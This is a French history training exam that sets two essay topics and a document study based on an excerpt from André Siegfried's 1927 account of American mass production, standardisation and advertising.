Le premier sujet d’Histoire de l’année : Entrainement 1.

I- Composition : Vous traiterez  l’un des deux sujets suivants :

Sujet 1 : La population active française, reflet des bouleversements économiques et sociaux depuis 1914

OU

Sujet 2 : L’économie-monde multipolaire

II- Etude d’un document d’Histoire 

 Sujet: l »économie-monde américaine au XXè siècle

 

Après avoir présenté ce document de la façon la plus précise possible, vous montrerez son intérêt et ses limites pour comprendre l’émergence de l’économie-monde américaine.

 

 

 

Instinctivement, l’Européen se demande comment, avec ces salaires énormes et ce standard of living surélevé, l’Amérique, à la longue, pourra soutenir la concurrence internationale. Peut-être ne se rend-il pas exactement compte de l’immense effort accompli depuis la guerre pour adapter l’industrie américaine aux conditions nouvelles du marché de la main-d’œuvre et l’équiper des derniers progrès ? Il est tenté de se dire que l’Europe, intelligente, technique et civilisée, pourrait, elle aussi, pratiquer la même politique, bénéficiant alors de ses salaires moindres et de ses moindres prétentions au confort. Dans ce raisonnement il perd de vue que les États-Unis sont un pays géographiquement et politiquement différent, où les circonstances permettent justement de faire, avec moins d’effort et peut-être moins de génie, ce que le vieux continent n’a pas réalisé jusqu’ici.

 

On n’a pas compris la philosophie de la production américaine si l’on oublie, même un instant, qu’elle travaille pour un marché intérieur de près de 120 millions d’hommes. (…) Où trouverait-on ailleurs un marché libre, entièrement libre, de cette étendue ? La conséquence logique, c’est que l’industriel est naturellement incité à entreprendre de suite la fabrication en grand : s’appuyant dès le début sur une large base qui ne lui manquera pas, il sait qu’un marché énorme, pratiquement illimité jusqu’ici dans sa capacité d’absorption, est non seulement à sa portée mais à sa disposition privilégiée. Comme les produits, d’autre part, circulent sans entraves de l’Atlantique au Pacifique, les usines peuvent être placées à l’endroit mathématiquement le plus favorable, que ce soit à Boston, Los Angeles ou Saint-Louis. Cette possibilité de voir grand, sans laquelle l’industrie moderne ne réalise pas son essence, voilà le premier atout des États-Unis.

 

Mais ce n’est encore là qu’un aspect de la question. L’organisation de la production est une chose, la standardisation en est une autre. Dans les pays de vieille civilisation, où la population est différenciée dans ses goûts par les coutumes locales ou bien par le raffinement d’une ancienne culture, l’industrie, obligée de fournir une grande variété de types, ne peut se spécialiser dans la fabrication en séries d’un petit nombre d’articles. Les cent millions d’Américains au contraire, en dépit de différences qui s’abaissent à n’être que des nuances, sont étonnamment semblables les uns aux autres, parlant la même langue avec moins d’accents divers que les Anglais, ayant partout les mêmes habitudes de vie, à peine déviées par les climats. Si les immigrants conservent d’abord quelque originalité de mœurs, la rupture brusque de tradition qu’ils ont subie facilite l’adaptation de leurs fils, qui se mettent sans résistance à l’alignement. Il n’est donc pas nécessaire, pour donner satisfaction à une clientèle si bien laminée, d’avoir recours à des créations infiniment compliquées : un petit nombre de modèles, partout semblables, variant seulement avec une mode elle même réglementée, suffisent.

 

La grande production ne s’est pas contentée de cette similarité naturelle des Américains, elle s’est appliquée scientifiquement à l’accentuer encore par l’emploi rationnel de la publicité. Entre les mains d’hommes remarquablement intelligents, celle-ci est devenue, aux États-Unis, un facteur important et peut-être essentiel de la vie économique. Grâce au concours technique de savants, d’économistes, de psychologues, elle comporte désormais toute une philosophie. Il ne lui suffit pas d’attirer la clientèle vers des modèles existants, elle vise — et c’est là l’originalité véritable de sa politique — à « éduquer » le public, c’est-à-dire à canaliser ses goûts dans un nombre limité de larges avenues : en l’accoutumant à un petit nombre de marques réputées, elle facilite la fabrication de l’article en masse, à moindre prix.(…) Réduire le prix de revient par la fabrication en séries, transférer à l’ouvrier sous forme de salaires accrus une fraction de l’économie réalisée, la lui reprendre sous forme de clientèle, c’est un circuit fermé qui n’a rien de malsain, tant que le pays, vivant indépendant sur ses propres ressources naturelles, développe normalement sa richesse par leur exploitation. Le système est d’une limpidité parfaite, et c’est pourquoi sans doute tout le monde y concourt avec tant d’entrain.

 

 

André SIEGFRIED, Les Etats-Unis d’aujourd’hui, 1927

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